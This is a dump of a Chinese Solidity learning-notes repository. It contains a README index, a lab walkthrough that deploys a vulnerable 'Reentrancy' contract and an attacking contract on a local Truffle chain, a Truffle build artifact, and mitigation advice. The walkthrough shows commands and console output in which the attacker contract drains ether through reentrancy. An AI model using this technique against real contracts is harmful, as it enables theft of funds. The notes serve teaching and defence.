├── README.md ├── documents ├── ethereum_yellow_paper_cn.pdf └── 区块链介绍.pptx └── notes ├── attacks ├── 1.md ├── 2.md ├── 3.md ├── README.md └── example01 │ ├── README.md │ ├── build │ └── contracts │ │ ├── Migrations.json │ │ ├── Reentrancy.json │ │ └── ReentrancyAttack.json │ ├── contracts │ ├── Migrations.sol │ ├── Reentrancy.sol │ └── ReentrancyAttack.sol │ ├── migrations │ ├── 1_initial_migration.js │ └── 2_deploy_reentrancy.js │ ├── truffle-config.js │ └── truffle.js ├── golang ├── api.md └── golang.sol │ └── demo │ ├── main.go │ └── token │ ├── BoreyToken.sol │ └── boreytoken.go ├── remix ├── guide.md └── install.md ├── summary ├── README.md ├── geth.md ├── images │ ├── assert.test.png │ ├── myetherwallet.png │ ├── poa.n1.t1.png │ ├── poa.n2.t1.png │ ├── public.external.sum1.png │ ├── public.external.sum2.png │ ├── public.external.test1.png │ ├── public.external.test2.png │ └── require.test.png ├── knowledge.md ├── myetherwallet.md ├── poa.md └── supervisor.md └── truffle ├── README.md ├── erc20-token ├── README.md ├── contracts │ ├── ABCToken.sol │ ├── Migrations.sol │ └── utils │ │ ├── ERC20Token.sol │ │ └── SafeMath.sol ├── migrations │ ├── 1_initial_migration.js │ └── 2_abc_token.js ├── test │ └── abc_token.js ├── truffle-config.js └── truffle.js ├── install.md └── summary.md /README.md: -------------------------------------------------------------------------------- 1 | # 1 Solidity 2 | 3 | ## 1.1 Knowledge 4 | 5 | - [基础学习](./notes/summary/knowledge.md#basics) 6 | - [进阶学习](https://github.com/androlo/solidity-workshop) 7 | 8 | 9 | ## 1.2 Personal Summary 10 | - [solidity函数和变量](./notes/summary/knowledge.md#solidity-functions-and-variables) 11 | - [修饰符 public 和 external 的区别](./notes/summary/knowledge.md#different-between-public-and-external) 12 | - [修饰符 prue 和 view 的区别](./notes/summary/knowledge.md#different-between-prue-and-view) 13 | - [Different between require and assert](./notes/summary/knowledge.md#different-between-require-and-assert) 14 | - [send ether from contract to another contract](./notes/summary/knowledge.md#send-ether-from-contract-to-another-contract) 15 | - [modifer function with parameters](./notes/summary/knowledge.md#modifer-function-with-parameters) 16 | 17 | 18 | # 2 开发环境及框架 19 | * [以太坊私链POW或POA部署](./notes/summary/geth.md) 20 | 21 | ## 2.1 Reminx 22 | 网页版开发工具 23 | - 在线地址:http://remix.ethereum.org 24 | - Github: https://github.com/ethereum/remixd 25 | 26 | 优点:简单直接
27 | 缺点:工程化程度不足, 如:不能编写测试用例 28 | 29 | ### 2.1.1 summary 30 | - [环境安装](./nodes/remix/install.md) 31 | - [使用说明](./nodes/remix/guide.md) 32 | - [Reminx + MetaMask 部署智能合约](./nodes/remix/deploy_example.md) 33 | 34 | ## 2.2 Truffle + VScode 35 | 本地项目开发框架 https://github.com/trufflesuite/truffle 36 | 37 | 优点:功能丰富, 支持Reminx的所有功能;
38 | 缺点:命令行操作, 略复杂; 39 | 40 | ### 2.2.1 Sumary 41 | - [环境安装](./notes/truffle/install.md) 42 | 43 | - [获取部署的智能合约地址、abi和code](./notes/truffle/summary.md#获取部署的智能合约地址、abi和code) 44 | 45 | - [测试用例智能合约调用另外一个智能合约](./notes/truffle/summary.md#测试用例智能合约调用另外一个智能合约) 46 | 47 | - [使用truffle框架管理编写一个ERC20 token、并编写测试用例和部署](./notes/truffle/erc20-token/) 48 | 49 | 50 | # 3 智能合约调用 51 | ## 3.1 Golang Api 52 | - [智能合约API生成](./notes/golang/api.md) 53 | - [部署]() 54 | - [交易]() 55 | - [Event监听]() 56 | 57 | ## 3.2 Python Api 58 | - [web3.py api](https://github.com/ethereum/web3.py) 59 | - [部署]() 60 | - [交易]() 61 | 62 | 63 | ## 3.3 Nodejs Api 64 | - [web3.js api](https://github.com/ethereum/web3.js) 65 | 66 | # 4 智能合约安全 67 | 68 | ## 4.1 漏洞 69 | - [可重入攻击](./notes/attacks/example01/) 70 | - [短地址攻击](./notes/attacks/1.md) 71 | - [整数溢出](./notes/attacks/2.md) 72 | 73 | ## 4.2 安全工具 74 | - [Formal Verification of Ethereum Smart Contracts](https://securify.ch/) 75 | - [Security Tools](https://consensys.github.io/smart-contract-best-practices/security_tools/) 76 | 77 | ## 4.3 推荐实践 78 | - [openzeppelin-solidity](https://github.com/OpenZeppelin/openzeppelin-solidity) 79 | - [Ethereum Smart Contract Security Best Practices](https://consensys.github.io/smart-contract-best-practices/) 80 | 81 | 82 | # 5 Resources 83 | - [Soldity Document](https://solidity.readthedocs.io/en/v0.4.24/) 84 | - [Awesome-solidity](https://github.com/bkrem/awesome-solidity) 85 | -------------------------------------------------------------------------------- /documents/ethereum_yellow_paper_cn.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/documents/ethereum_yellow_paper_cn.pdf -------------------------------------------------------------------------------- /documents/区块链介绍.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/documents/区块链介绍.pptx -------------------------------------------------------------------------------- /notes/attacks/1.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/attacks/1.md -------------------------------------------------------------------------------- /notes/attacks/2.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/attacks/2.md -------------------------------------------------------------------------------- /notes/attacks/3.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/attacks/3.md -------------------------------------------------------------------------------- /notes/attacks/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/attacks/README.md -------------------------------------------------------------------------------- /notes/attacks/example01/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## 知识点 4 | - [Fallback Function](https://solidity.readthedocs.io/en/develop/contracts.html?#fallback-function) 5 | 6 | - 智能合约通过常规的转账接收Ether时,必须定义一个 fallback 函数并且标记为payable, 当接收Ether时被触发调用; 7 | 8 | - 例如:若有constract A 和 B, 当 B 调用 A 函数 方法中包含 `call` 操作时, 会触发B 中的 fallback 函数 , 可重入攻击利用该原理进行函数递归操作提取Ether; 9 | 10 | ## 智能合约描述 11 | - Reentrancy
12 | 可接收别的钱包或Constract的 Ether代币 13 | 14 | - ReentrancyAttack 15 | 是攻击智能合约, 通过 payable put 函数接收Ether代币,并发送给Reentrancy 智能合约, 并进行提现操作, 当调用到call函数时触发fallback函数,进行递归操作 进行提现 ; 16 | 17 | ## 测试 18 | - 获取开发环境钱包地址 19 | ``` 20 | prod@ubuntu:~/solidity/example01$ truffle develop 21 | Truffle Develop started at http://127.0.0.1:9545/ 22 | 23 | Accounts: 24 | (0) 0x627306090abab3a6e1400e9345bc60c78a8bef57 25 | (1) 0xf17f52151ebef6c7334fad080c5704d77216b732 26 | (2) 0xc5fdf4076b8f3a5357c5e395ab970b5b54098fef 27 | (3) 0x821aea9a577a9b44299b9c15c88cf3087f3b5544 28 | (4) 0x0d1d4e623d10f9fba5db95830f7d3839406c6af2 29 | (5) 0x2932b7a2355d6fecc4b5c0b6bd44cc31df247a2e 30 | (6) 0x2191ef87e392377ec08e7c08eb105ef5448eced5 31 | (7) 0x0f4f2ac550a1b4e2280d04c21cea7ebd822934b5 32 | (8) 0x6330a553fc93768f612722bb8c2ec78ac90b3bbc 33 | (9) 0x5aeda56215b167893e80b4fe645ba6d5bab767de 34 | 35 | Private Keys: 36 | (0) c87509a1c067bbde78beb793e6fa76530b6382a4c0241e5e4a9ec0a0f44dc0d3 37 | (1) ae6ae8e5ccbfb04590405997ee2d52d2b330726137b875053c36d94e974d162f 38 | (2) 0dbbe8e4ae425a6d2687f1a7e3ba17bc98c673636790f1b8ad91193c05875ef1 39 | (3) c88b703fb08cbea894b6aeff5a544fb92e78a18e19814cd85da83b71f772aa6c 40 | (4) 388c684f0ba1ef5017716adb5d21a053ea8e90277d0868337519f97bede61418 41 | (5) 659cbb0e2411a44db63778987b1e22153c086a95eb6b18bdf89de078917abc63 42 | (6) 82d052c865f5763aad42add438569276c00d3d88a2d062d36b2bae914d58b8c8 43 | (7) aa3680d5d48a8283413f7a108367c7299ca73f553735860a87b08f39395618b7 44 | (8) 0f62d96d6675f32685bbdb8ac13cda7c23436f63efbb9d07700d8669ff12b7c4 45 | (9) 8d5366123cb560bb606379f90a0bfd4769eecc0557f1b362dcae9012b548b1e5 46 | 47 | Mnemonic: candy maple cake sugar pudding cream honey rich smooth crumble sweet treat 48 | 49 | ⚠️ Important ⚠️ : This mnemonic was created for you by Truffle. It is not secure. 50 | Ensure you do not use it on production blockchains, or else you risk losing funds. 51 | 52 | truffle(develop)> web3.eth.accounts[0] 53 | '0x627306090abab3a6e1400e9345bc60c78a8bef57' 54 | truffle(develop)> web3.eth.accounts[1] 55 | '0xf17f52151ebef6c7334fad080c5704d77216b732' 56 | 57 | ``` 58 | - 修改migrations下 2_deploy_reentrancy.js 文件 59 | ```js 60 | var Reentrancy = artifacts.require("Reentrancy"); 61 | var ReentrancyAttack = artifacts.require("ReentrancyAttack"); 62 | 63 | module.exports = function(deployer) { 64 | 65 | deployer.deploy(Reentrancy).then( 66 | () => deployer.deploy( 67 | ReentrancyAttack, 68 | Reentrancy.address, 69 | {from: "0xf17f52151ebef6c7334fad080c5704d77216b732"}) // 指定owner地址为 accounts[1] 70 | ); 71 | }; 72 | 73 | ``` 74 | 75 | - Migrate 76 | ```bash 77 | truffle(develop)> migrate -f 2 78 | Compiling ./contracts/Migrations.sol... 79 | Compiling ./contracts/Reentrancy.sol... 80 | Compiling ./contracts/ReentrancyAttack.sol... 81 | Writing artifacts to ./build/contracts 82 | 83 | Using network 'develop'. 84 | 85 | Running migration: 2_deploy_reentrancy.js 86 | Deploying Reentrancy... 87 | ... 0x140580f72dca073bdf80941465eb515b442b16fefdc2f2090bad8edcc4e877f6 88 | Reentrancy: 0x8cdaf0cd259887258bc13a92c0a6da92698644c0 89 | Deploying ReentrancyAttack... 90 | ... 0x7a9e367e1b939df04c956e62b49a722cba1aca82859c05e268a06147b3e36b09 91 | ReentrancyAttack: 0x2e2d10b41b7c8ddb995568a87185428d9a513ead 92 | Saving artifacts... 93 | ``` 94 | 95 | - 测试 96 | 97 | ```js 98 | // 查看 合约部署地址 99 | Reentrancy.deployed().then(instance => raddress = instance.address); 100 | ReentrancyAttack.deployed().then(instance => ataddress = instance.address); 101 | 102 | // 从 Account4 向 Reentrancy 合约 put 5 个 Ether 103 | Reentrancy.deployed().then(instance => instance.put({from: web3.eth.accounts[3], value: web3.toWei(5, "ether")})); 104 | // 从 Account5 向 ReentrancyAttack 合约 put 2 个 Ether, 并盗取4个Ether 到 ReentrancyAttack合约地址上, ReentrancyAttack 合约上会拥有 6 个 Ether 105 | ReentrancyAttack.deployed().then(instance => instance.put({from: web3.eth.accounts[1], value: web3.toWei(2, "ether")})) 106 | 107 | web3.eth.getBalance(raddress); 108 | web3.eth.getBalance(ataddress); 109 | 110 | ``` 111 | 112 | ```bash 113 | # 查看 114 | truffle(develop)> Reentrancy.deployed().then(instance => raddress = instance.address); 115 | '0x8cdaf0cd259887258bc13a92c0a6da92698644c0' 116 | truffle(develop)> ReentrancyAttack.deployed().then(instance => ataddress = instance.address); 117 | '0x2e2d10b41b7c8ddb995568a87185428d9a513ead' 118 | 119 | # accounts[3] 转账到智能合约 Reentrancy 120 | truffle(develop)> Reentrancy.deployed().then(instance => instance.put({from: web3.eth.accounts[3], value: web3.toWei(5, "ether")})); 121 | { tx: '0x97280e6bfbe2b70b645af221c20d30d4df7806b46b4b4fbff47d5ff2016745aa', 122 | receipt: 123 | { transactionHash: '0x97280e6bfbe2b70b645af221c20d30d4df7806b46b4b4fbff47d5ff2016745aa', 124 | transactionIndex: 0, 125 | blockHash: '0x648ac7e14cde711ccfc3c4316df36ebc17e8d478ffad52a278727323ff92ef4d', 126 | blockNumber: 3, 127 | gasUsed: 41746, 128 | cumulativeGasUsed: 41746, 129 | contractAddress: null, 130 | logs: [], 131 | status: '0x01', 132 | logsBloom: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' }, 133 | logs: [] } 134 | 135 | # account1 通过 ReentrancyAttack进行转账 但是会盗取 Reentrancy 合约的 Ether 136 | truffle(develop)> ReentrancyAttack.deployed().then(instance => instance.put({from: web3.eth.accounts[1], value: web3.toWei(2, "ether")})) 137 | { tx: '0xa4176f77239d779018edcc5224d250f949edafaf6d37d1e5acf04c252457962f', 138 | receipt: 139 | { transactionHash: '0xa4176f77239d779018edcc5224d250f949edafaf6d37d1e5acf04c252457962f', 140 | transactionIndex: 0, 141 | blockHash: '0x876a22140c1dedd8dc386bff84e2b904bcd166aa989026df7a6d95a52ae2384b', 142 | blockNumber: 4, 143 | gasUsed: 81879, 144 | cumulativeGasUsed: 81879, 145 | contractAddress: null, 146 | logs: [], 147 | status: '0x01', 148 | logsBloom: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' }, 149 | logs: [] } 150 | 151 | # 查看最后余额 。。。 满足期望值 152 | truffle(develop)> web3.eth.getBalance(raddress) 153 | BigNumber { s: 1, e: 18, c: [ 10000 ] } 154 | truffle(develop)> web3.eth.getBalance(ataddress) 155 | BigNumber { s: 1, e: 18, c: [ 60000 ] } 156 | 157 | ``` 158 | 159 | 160 | ## 如何避免 161 | - 转账操作尽量避免使用 call 方法, 使用transfer or send; 162 | - 在进行转账前,对balance中该地址赋值为0; -------------------------------------------------------------------------------- /notes/attacks/example01/build/contracts/Migrations.json: -------------------------------------------------------------------------------- 1 | { 2 | "contractName": "Migrations", 3 | "abi": [ 4 | { 5 | "constant": true, 6 | "inputs": [], 7 | "name": "last_completed_migration", 8 | "outputs": [ 9 | { 10 | "name": "", 11 | "type": "uint256" 12 | } 13 | ], 14 | "payable": false, 15 | "stateMutability": "view", 16 | "type": "function" 17 | }, 18 | { 19 | "constant": true, 20 | "inputs": [], 21 | "name": "owner", 22 | "outputs": [ 23 | { 24 | "name": "", 25 | "type": "address" 26 | } 27 | ], 28 | "payable": false, 29 | "stateMutability": "view", 30 | "type": "function" 31 | }, 32 | { 33 | "inputs": [], 34 | "payable": false, 35 | "stateMutability": "nonpayable", 36 | "type": "constructor" 37 | }, 38 | { 39 | "constant": false, 40 | "inputs": [ 41 | { 42 | "name": "completed", 43 | "type": "uint256" 44 | } 45 | ], 46 | "name": "setCompleted", 47 | "outputs": [], 48 | "payable": false, 49 | "stateMutability": "nonpayable", 50 | "type": "function" 51 | }, 52 | { 53 | "constant": false, 54 | "inputs": [ 55 | { 56 | "name": "new_address", 57 | "type": "address" 58 | } 59 | ], 60 | "name": "upgrade", 61 | "outputs": [], 62 | "payable": false, 63 | "stateMutability": "nonpayable", 64 | "type": "function" 65 | } 66 | ], 67 | "bytecode": "0x608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102f8806100606000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100aa5780638da5cb5b146100d5578063fdacd5761461012c575b600080fd5b34801561007357600080fd5b506100a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610159565b005b3480156100b657600080fd5b506100bf610241565b6040518082815260200191505060405180910390f35b3480156100e157600080fd5b506100ea610247565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561013857600080fd5b506101576004803603810190808035906020019092919050505061026c565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023d578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561022457600080fd5b505af1158015610238573d6000803e3d6000fd5b505050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102c957806001819055505b505600a165627a7a7230582014ca147ce4cb2d30f1fe0273b8cb77996dd489ec56c6b2336f7ce1c1732a6bff0029", 68 | "deployedBytecode": "0x608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100aa5780638da5cb5b146100d5578063fdacd5761461012c575b600080fd5b34801561007357600080fd5b506100a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610159565b005b3480156100b657600080fd5b506100bf610241565b6040518082815260200191505060405180910390f35b3480156100e157600080fd5b506100ea610247565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561013857600080fd5b506101576004803603810190808035906020019092919050505061026c565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023d578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561022457600080fd5b505af1158015610238573d6000803e3d6000fd5b505050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102c957806001819055505b505600a165627a7a7230582014ca147ce4cb2d30f1fe0273b8cb77996dd489ec56c6b2336f7ce1c1732a6bff0029", 69 | "sourceMap": "26:480:0:-;;;115:50;8:9:-1;5:2;;;30:1;27;20:12;5:2;115:50:0;150:10;142:5;;:18;;;;;;;;;;;;;;;;;;26:480;;;;;;", 70 | "deployedSourceMap": "26:480:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;339:165;;8:9:-1;5:2;;;30:1;27;20:12;5:2;339:165:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;74:36;;8:9:-1;5:2;;;30:1;27;20:12;5:2;74:36:0;;;;;;;;;;;;;;;;;;;;;;;50:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;50:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;232:103;;8:9:-1;5:2;;;30:1;27;20:12;5:2;232:103:0;;;;;;;;;;;;;;;;;;;;;;;;;;339:165;401:19;215:5;;;;;;;;;;;201:19;;:10;:19;;;197:26;;;434:11;401:45;;452:8;:21;;;474:24;;452:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;452:47:0;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;452:47:0;;;;197:26;339:165;;:::o;74:36::-;;;;:::o;50:20::-;;;;;;;;;;;;;:::o;232:103::-;215:5;;;;;;;;;;;201:19;;:10;:19;;;197:26;;;321:9;294:24;:36;;;;197:26;232:103;:::o", 71 | "source": "pragma solidity ^0.4.23;\n\ncontract Migrations {\n address public owner;\n uint public last_completed_migration;\n\n constructor() public {\n owner = msg.sender;\n }\n\n modifier restricted() {\n if (msg.sender == owner) _;\n }\n\n function setCompleted(uint completed) public restricted {\n last_completed_migration = completed;\n }\n\n function upgrade(address new_address) public restricted {\n Migrations upgraded = Migrations(new_address);\n upgraded.setCompleted(last_completed_migration);\n }\n}\n", 72 | "sourcePath": "D:\\solidity\\solidity-note\\notes\\attacks\\example01\\contracts\\Migrations.sol", 73 | "ast": { 74 | "absolutePath": "/D/solidity/solidity-note/notes/attacks/example01/contracts/Migrations.sol", 75 | "exportedSymbols": { 76 | "Migrations": [ 77 | 56 78 | ] 79 | }, 80 | "id": 57, 81 | "nodeType": "SourceUnit", 82 | "nodes": [ 83 | { 84 | "id": 1, 85 | "literals": [ 86 | "solidity", 87 | "^", 88 | "0.4", 89 | ".23" 90 | ], 91 | "nodeType": "PragmaDirective", 92 | "src": "0:24:0" 93 | }, 94 | { 95 | "baseContracts": [], 96 | "contractDependencies": [], 97 | "contractKind": "contract", 98 | "documentation": null, 99 | "fullyImplemented": true, 100 | "id": 56, 101 | "linearizedBaseContracts": [ 102 | 56 103 | ], 104 | "name": "Migrations", 105 | "nodeType": "ContractDefinition", 106 | "nodes": [ 107 | { 108 | "constant": false, 109 | "id": 3, 110 | "name": "owner", 111 | "nodeType": "VariableDeclaration", 112 | "scope": 56, 113 | "src": "50:20:0", 114 | "stateVariable": true, 115 | "storageLocation": "default", 116 | "typeDescriptions": { 117 | "typeIdentifier": "t_address", 118 | "typeString": "address" 119 | }, 120 | "typeName": { 121 | "id": 2, 122 | "name": "address", 123 | "nodeType": "ElementaryTypeName", 124 | "src": "50:7:0", 125 | "typeDescriptions": { 126 | "typeIdentifier": "t_address", 127 | "typeString": "address" 128 | } 129 | }, 130 | "value": null, 131 | "visibility": "public" 132 | }, 133 | { 134 | "constant": false, 135 | "id": 5, 136 | "name": "last_completed_migration", 137 | "nodeType": "VariableDeclaration", 138 | "scope": 56, 139 | "src": "74:36:0", 140 | "stateVariable": true, 141 | "storageLocation": "default", 142 | "typeDescriptions": { 143 | "typeIdentifier": "t_uint256", 144 | "typeString": "uint256" 145 | }, 146 | "typeName": { 147 | "id": 4, 148 | "name": "uint", 149 | "nodeType": "ElementaryTypeName", 150 | "src": "74:4:0", 151 | "typeDescriptions": { 152 | "typeIdentifier": "t_uint256", 153 | "typeString": "uint256" 154 | } 155 | }, 156 | "value": null, 157 | "visibility": "public" 158 | }, 159 | { 160 | "body": { 161 | "id": 13, 162 | "nodeType": "Block", 163 | "src": "136:29:0", 164 | "statements": [ 165 | { 166 | "expression": { 167 | "argumentTypes": null, 168 | "id": 11, 169 | "isConstant": false, 170 | "isLValue": false, 171 | "isPure": false, 172 | "lValueRequested": false, 173 | "leftHandSide": { 174 | "argumentTypes": null, 175 | "id": 8, 176 | "name": "owner", 177 | "nodeType": "Identifier", 178 | "overloadedDeclarations": [], 179 | "referencedDeclaration": 3, 180 | "src": "142:5:0", 181 | "typeDescriptions": { 182 | "typeIdentifier": "t_address", 183 | "typeString": "address" 184 | } 185 | }, 186 | "nodeType": "Assignment", 187 | "operator": "=", 188 | "rightHandSide": { 189 | "argumentTypes": null, 190 | "expression": { 191 | "argumentTypes": null, 192 | "id": 9, 193 | "name": "msg", 194 | "nodeType": "Identifier", 195 | "overloadedDeclarations": [], 196 | "referencedDeclaration": 230, 197 | "src": "150:3:0", 198 | "typeDescriptions": { 199 | "typeIdentifier": "t_magic_message", 200 | "typeString": "msg" 201 | } 202 | }, 203 | "id": 10, 204 | "isConstant": false, 205 | "isLValue": false, 206 | "isPure": false, 207 | "lValueRequested": false, 208 | "memberName": "sender", 209 | "nodeType": "MemberAccess", 210 | "referencedDeclaration": null, 211 | "src": "150:10:0", 212 | "typeDescriptions": { 213 | "typeIdentifier": "t_address", 214 | "typeString": "address" 215 | } 216 | }, 217 | "src": "142:18:0", 218 | "typeDescriptions": { 219 | "typeIdentifier": "t_address", 220 | "typeString": "address" 221 | } 222 | }, 223 | "id": 12, 224 | "nodeType": "ExpressionStatement", 225 | "src": "142:18:0" 226 | } 227 | ] 228 | }, 229 | "documentation": null, 230 | "id": 14, 231 | "implemented": true, 232 | "isConstructor": true, 233 | "isDeclaredConst": false, 234 | "modifiers": [], 235 | "name": "", 236 | "nodeType": "FunctionDefinition", 237 | "parameters": { 238 | "id": 6, 239 | "nodeType": "ParameterList", 240 | "parameters": [], 241 | "src": "126:2:0" 242 | }, 243 | "payable": false, 244 | "returnParameters": { 245 | "id": 7, 246 | "nodeType": "ParameterList", 247 | "parameters": [], 248 | "src": "136:0:0" 249 | }, 250 | "scope": 56, 251 | "src": "115:50:0", 252 | "stateMutability": "nonpayable", 253 | "superFunction": null, 254 | "visibility": "public" 255 | }, 256 | { 257 | "body": { 258 | "id": 22, 259 | "nodeType": "Block", 260 | "src": "191:37:0", 261 | "statements": [ 262 | { 263 | "condition": { 264 | "argumentTypes": null, 265 | "commonType": { 266 | "typeIdentifier": "t_address", 267 | "typeString": "address" 268 | }, 269 | "id": 19, 270 | "isConstant": false, 271 | "isLValue": false, 272 | "isPure": false, 273 | "lValueRequested": false, 274 | "leftExpression": { 275 | "argumentTypes": null, 276 | "expression": { 277 | "argumentTypes": null, 278 | "id": 16, 279 | "name": "msg", 280 | "nodeType": "Identifier", 281 | "overloadedDeclarations": [], 282 | "referencedDeclaration": 230, 283 | "src": "201:3:0", 284 | "typeDescriptions": { 285 | "typeIdentifier": "t_magic_message", 286 | "typeString": "msg" 287 | } 288 | }, 289 | "id": 17, 290 | "isConstant": false, 291 | "isLValue": false, 292 | "isPure": false, 293 | "lValueRequested": false, 294 | "memberName": "sender", 295 | "nodeType": "MemberAccess", 296 | "referencedDeclaration": null, 297 | "src": "201:10:0", 298 | "typeDescriptions": { 299 | "typeIdentifier": "t_address", 300 | "typeString": "address" 301 | } 302 | }, 303 | "nodeType": "BinaryOperation", 304 | "operator": "==", 305 | "rightExpression": { 306 | "argumentTypes": null, 307 | "id": 18, 308 | "name": "owner", 309 | "nodeType": "Identifier", 310 | "overloadedDeclarations": [], 311 | "referencedDeclaration": 3, 312 | "src": "215:5:0", 313 | "typeDescriptions": { 314 | "typeIdentifier": "t_address", 315 | "typeString": "address" 316 | } 317 | }, 318 | "src": "201:19:0", 319 | "typeDescriptions": { 320 | "typeIdentifier": "t_bool", 321 | "typeString": "bool" 322 | } 323 | }, 324 | "falseBody": null, 325 | "id": 21, 326 | "nodeType": "IfStatement", 327 | "src": "197:26:0", 328 | "trueBody": { 329 | "id": 20, 330 | "nodeType": "PlaceholderStatement", 331 | "src": "222:1:0" 332 | } 333 | } 334 | ] 335 | }, 336 | "documentation": null, 337 | "id": 23, 338 | "name": "restricted", 339 | "nodeType": "ModifierDefinition", 340 | "parameters": { 341 | "id": 15, 342 | "nodeType": "ParameterList", 343 | "parameters": [], 344 | "src": "188:2:0" 345 | }, 346 | "src": "169:59:0", 347 | "visibility": "internal" 348 | }, 349 | { 350 | "body": { 351 | "id": 34, 352 | "nodeType": "Block", 353 | "src": "288:47:0", 354 | "statements": [ 355 | { 356 | "expression": { 357 | "argumentTypes": null, 358 | "id": 32, 359 | "isConstant": false, 360 | "isLValue": false, 361 | "isPure": false, 362 | "lValueRequested": false, 363 | "leftHandSide": { 364 | "argumentTypes": null, 365 | "id": 30, 366 | "name": "last_completed_migration", 367 | "nodeType": "Identifier", 368 | "overloadedDeclarations": [], 369 | "referencedDeclaration": 5, 370 | "src": "294:24:0", 371 | "typeDescriptions": { 372 | "typeIdentifier": "t_uint256", 373 | "typeString": "uint256" 374 | } 375 | }, 376 | "nodeType": "Assignment", 377 | "operator": "=", 378 | "rightHandSide": { 379 | "argumentTypes": null, 380 | "id": 31, 381 | "name": "completed", 382 | "nodeType": "Identifier", 383 | "overloadedDeclarations": [], 384 | "referencedDeclaration": 25, 385 | "src": "321:9:0", 386 | "typeDescriptions": { 387 | "typeIdentifier": "t_uint256", 388 | "typeString": "uint256" 389 | } 390 | }, 391 | "src": "294:36:0", 392 | "typeDescriptions": { 393 | "typeIdentifier": "t_uint256", 394 | "typeString": "uint256" 395 | } 396 | }, 397 | "id": 33, 398 | "nodeType": "ExpressionStatement", 399 | "src": "294:36:0" 400 | } 401 | ] 402 | }, 403 | "documentation": null, 404 | "id": 35, 405 | "implemented": true, 406 | "isConstructor": false, 407 | "isDeclaredConst": false, 408 | "modifiers": [ 409 | { 410 | "arguments": null, 411 | "id": 28, 412 | "modifierName": { 413 | "argumentTypes": null, 414 | "id": 27, 415 | "name": "restricted", 416 | "nodeType": "Identifier", 417 | "overloadedDeclarations": [], 418 | "referencedDeclaration": 23, 419 | "src": "277:10:0", 420 | "typeDescriptions": { 421 | "typeIdentifier": "t_modifier$__$", 422 | "typeString": "modifier ()" 423 | } 424 | }, 425 | "nodeType": "ModifierInvocation", 426 | "src": "277:10:0" 427 | } 428 | ], 429 | "name": "setCompleted", 430 | "nodeType": "FunctionDefinition", 431 | "parameters": { 432 | "id": 26, 433 | "nodeType": "ParameterList", 434 | "parameters": [ 435 | { 436 | "constant": false, 437 | "id": 25, 438 | "name": "completed", 439 | "nodeType": "VariableDeclaration", 440 | "scope": 35, 441 | "src": "254:14:0", 442 | "stateVariable": false, 443 | "storageLocation": "default", 444 | "typeDescriptions": { 445 | "typeIdentifier": "t_uint256", 446 | "typeString": "uint256" 447 | }, 448 | "typeName": { 449 | "id": 24, 450 | "name": "uint", 451 | "nodeType": "ElementaryTypeName", 452 | "src": "254:4:0", 453 | "typeDescriptions": { 454 | "typeIdentifier": "t_uint256", 455 | "typeString": "uint256" 456 | } 457 | }, 458 | "value": null, 459 | 